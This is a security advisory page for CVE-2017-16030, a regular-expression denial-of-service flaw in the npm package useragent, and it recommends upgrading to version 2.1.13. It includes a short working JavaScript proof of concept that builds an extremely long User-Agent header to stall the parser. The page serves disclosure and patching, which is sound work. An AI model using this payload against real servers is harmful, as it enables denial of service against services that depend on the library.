Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy

ReDoS via long UserAgent header in useragent

Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.

Proof of Concept

var useragent = require('useragent');

var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));

Recommendation

Update to version 2.1.13 or later.

Permalink: https://github.com/advisories/GHSA-pjmx-9xr3-82qr
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 6 years ago
Updated: 8 months ago

Identifiers: GHSA-pjmx-9xr3-82qr, CVE-2017-16030
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-16030
• https://github.com/advisories/GHSA-pjmx-9xr3-82qr
• https://www.npmjs.com/advisories/312

Blast Radius: 0.0

Affected Packages